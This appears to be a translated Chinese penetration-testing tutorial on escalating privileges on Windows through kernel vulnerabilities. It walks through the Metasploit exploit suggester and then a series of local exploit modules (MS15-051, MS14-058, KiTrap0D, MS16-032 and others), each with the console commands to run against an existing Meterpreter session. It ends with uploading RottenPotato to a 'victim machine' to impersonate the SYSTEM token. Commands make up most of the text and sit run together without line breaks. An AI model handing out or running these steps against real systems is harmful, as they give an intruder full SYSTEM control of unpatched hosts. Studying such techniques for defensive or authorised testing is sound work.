Windows內(nèi)核漏洞利用提權(quán)教程 PS. 本文僅限于技術(shù)討論,嚴(yán)禁用于其他用途。 繼上一篇“使用自動化腳本進(jìn)行Windows提權(quán)”,本文將介紹有關(guān)Windows內(nèi)核漏洞提權(quán)的方法。我將使用內(nèi)置的Metasploit模塊作為演示。通過本文的學(xué)習(xí),你將了解系統(tǒng)的哪些部分可被利用,并匹配最佳可利用模塊進(jìn)一步的提升權(quán)限。 Windows-Exploit-suggesterMetasploit內(nèi)置模塊提供了各種可用于提權(quán)的local exploits,并會基于架構(gòu),平臺(即運(yùn)行的操作系統(tǒng)),會話類型和所需默認(rèn)選項(xiàng)提供建議。這極大的節(jié)省了我們的時間,省去了我們手動搜索local exploits的麻煩。雖說如此,但也并非所有列出的local exploits都可用。所以,無論是漏洞利用還是查找最好的辦法就是自動結(jié)合手動。 用法注:要使用local exploit suggester,我們必須已在目標(biāo)機(jī)器上獲取到了一個Meterpreter session。在運(yùn)行Local Exploit suggester之前,我們需要將現(xiàn)有的Meterpreter session調(diào)到后臺運(yùn)行(CTRL + Z) 示例,假設(shè)我們現(xiàn)在有一個Meterpreter session 1 use post/multi/recon/local_exploit_suggesterset LHOST 192.168.1.107set SESSION 1exploit如下圖所示,它自動的為我們匹配出了一些可能的用于易受攻擊目標(biāo)提權(quán)的漏洞利用模塊。 Windows ClientCopyImage Win32k ExploitWindows內(nèi)核模式驅(qū)動程序特權(quán)提升漏洞。此模塊利用了win32k.sys內(nèi)核模式驅(qū)動程序中的不正確對象處理進(jìn)行提權(quán)。 該模塊已在Windows 7 x64和x86,Windows 2008 R2 SP1 x64的易受攻擊版本上進(jìn)行了測試。 讓我們轉(zhuǎn)到MSF控制臺并執(zhí)行該漏洞的exploit模塊 use exploit/windows/local/ms15_051_client_copy_imageset lhost 192.168.1.107set session 1exploit一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session getsystemgetuid可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM  Windows TrackPopupMenu Win32k NULL指針解引用此模塊利用了win32k.sys中的NULL指針解引用,漏洞可通過TrackPopupMenu函數(shù)進(jìn)行觸發(fā)。在特殊情況下,我們可以濫用在xxxSendMessageTimeout上的NULL指針解引用,來實(shí)現(xiàn)任意代碼執(zhí)行操作。 該模塊已在Windows XP SP3,Windows Server 2003 SP2,Windows 7 SP1 Windows Server 2008 32位和Windows Server 2008 R2 SP1 64位上進(jìn)行了測試。 讓我們轉(zhuǎn)到MSF控制臺并執(zhí)行該漏洞的exploit模塊 use exploit/windows/local/ms14_058_track_popup_menuset lhost 192.168.1.107set session 1exploit一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session getsystemgetuid可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM  通過KiTrap0D提升Windows權(quán)限此模塊將通過KiTrap0D exploit創(chuàng)建具有SYSTEM權(quán)限的新會話,如果當(dāng)前使用的會話權(quán)限已提升,則exploit將不會運(yùn)行。該模塊依賴于kitrap0d.x86.dll,因此在x64版本的Windows上不受支持。 該模塊已在32位的Windows Server 2003,Windows Server 2008,Windows 7和XP易受攻擊版本上進(jìn)行了測試。 讓我們轉(zhuǎn)到MSF控制臺并執(zhí)行該漏洞的exploit模塊 use exploit/windows/local/ms10_015_kitrap0dset lhost 192.168.1.107set session 1exploit一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session getsystemgetuid可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM  Task Scheduler XML提權(quán)此漏洞發(fā)生在Task Scheduler中,可允許用戶提升權(quán)限。如果攻擊者登錄到受影響的系統(tǒng),并運(yùn)行特制應(yīng)用程序,則該漏洞可能允許特權(quán)提升。攻擊者必須擁有有效的登錄憑據(jù),并且能夠在本地登錄才能成功利用此漏洞。遠(yuǎn)程或匿名用戶則無法利用此漏洞。 該模塊已在Windows Vista,Windows 7,Windows Server 2008 x64和x86的易受攻擊版本上進(jìn)行了測試。 讓我們轉(zhuǎn)到MSF控制臺并執(zhí)行該漏洞的exploit模塊 use exploit/windows/local/ms10_092_schelevatorset lhost 192.168.1.107set session 1exploit一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session getsystemgetuid可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM  MS16-016 mrxdav.sys WebDav本地提權(quán)此模塊利用了mrxdav.sys中的漏洞。其將在目標(biāo)系統(tǒng)生成一個進(jìn)程,并在執(zhí)行payload之前將其權(quán)限提升到NT AUTHORITY\SYSTEM。 該模塊已在Windows 7 SP1,x86架構(gòu)的易受攻擊版本上進(jìn)行了測試。 讓我們轉(zhuǎn)到MSF控制臺并執(zhí)行該漏洞的exploit模塊 use exploit/windows/local/ms16_016_webdavset lhost 192.168.1.107set session 1exploit一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session getsystemgetuid可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM  EPATHOBJ::pprFlattenRec本地提權(quán)此模塊利用了EPATHOBJ :: pprFlattenRec上的漏洞,其主要問題出在使用了未初始化的數(shù)據(jù)(即允許損壞內(nèi)存)。 目前,該模塊已在Windows XP SP3,Windows 2003 SP1和Windows 7 SP1上成功進(jìn)行了測試。 讓我們轉(zhuǎn)到MSF控制臺并執(zhí)行該漏洞的exploit模塊 use exploit/windows/local/ppr_flatten_recset lhost 192.168.1.107set session 1exploit一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session getsystemgetuid可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM  MS13-053 : NTUserMessageCall Win32k內(nèi)核池溢出Win32k中的內(nèi)核池溢出漏洞,可允許本地用戶提權(quán)。內(nèi)核shellcode使winlogon.exe進(jìn)程的ACL為NULL(SYSTEM進(jìn)程)。這將允許任何非特權(quán)進(jìn)程自由遷移到winlogon.exe,從而提升用戶權(quán)限。注意:退出meterpreter會話時,可能會導(dǎo)致winlogon.exe崩潰。 目前,該模塊已在Windows 7 SP1 x86上成功測試。 讓我們轉(zhuǎn)到MSF控制臺并執(zhí)行該漏洞的exploit模塊 use exploit/windows/local/ms13_053_ schlampereiset lhost 192.168.1.107set session 1exploit一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session getsystemgetuid可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM  MS16-032 Secondary Logon Handle提權(quán)此模塊利用了Windows Secondary Logon Service中缺少標(biāo)準(zhǔn)句柄過濾的問題。該漏洞主要影響Windows 7-10和2k8-2k12 32/64位版本。此模塊僅適用于具有Powershell 2.0或更高版本的Windows系統(tǒng),以及具有至少兩個或以上CPU內(nèi)核的系統(tǒng)。 use exploit/windows/local/ms16_032_secondary_logon_handle_privescset session 1exploit一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session getsystemgetuid可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM  RottenPotato使用RottenPotato將服務(wù)帳戶本地提權(quán)至SYSTEM。 首先,我們在meterpreter會話中使用以下選項(xiàng)查看當(dāng)前系統(tǒng)上是否存在任何有效tokens。 load incognitolist_token -u可以看到,當(dāng)前并沒有任何token可用。 
現(xiàn)在,我們從github下載Rottenpotato。 git clone https://github.com/foxglovesec/RottenPotato.gitcd RottenPotato下載完成后我們會在Rottenpotato目錄下,看到一個rottenpotato.exe文件。 將該文件上傳至受害者機(jī)器。 upload /root/Desktop/RottenPotato/rottenpotato.exe .
然后,鍵入以下命令執(zhí)行該exe文件,并將SYSTEM token添加到impersonate user tokens下。 execute -Hc -f rottenpotato.exeimpersonate_token "NT AUTHORITY\\SYSTEM"可以看到,我們當(dāng)前的用戶權(quán)限已提升為了NT AUTHORITY\SYSTEM 
|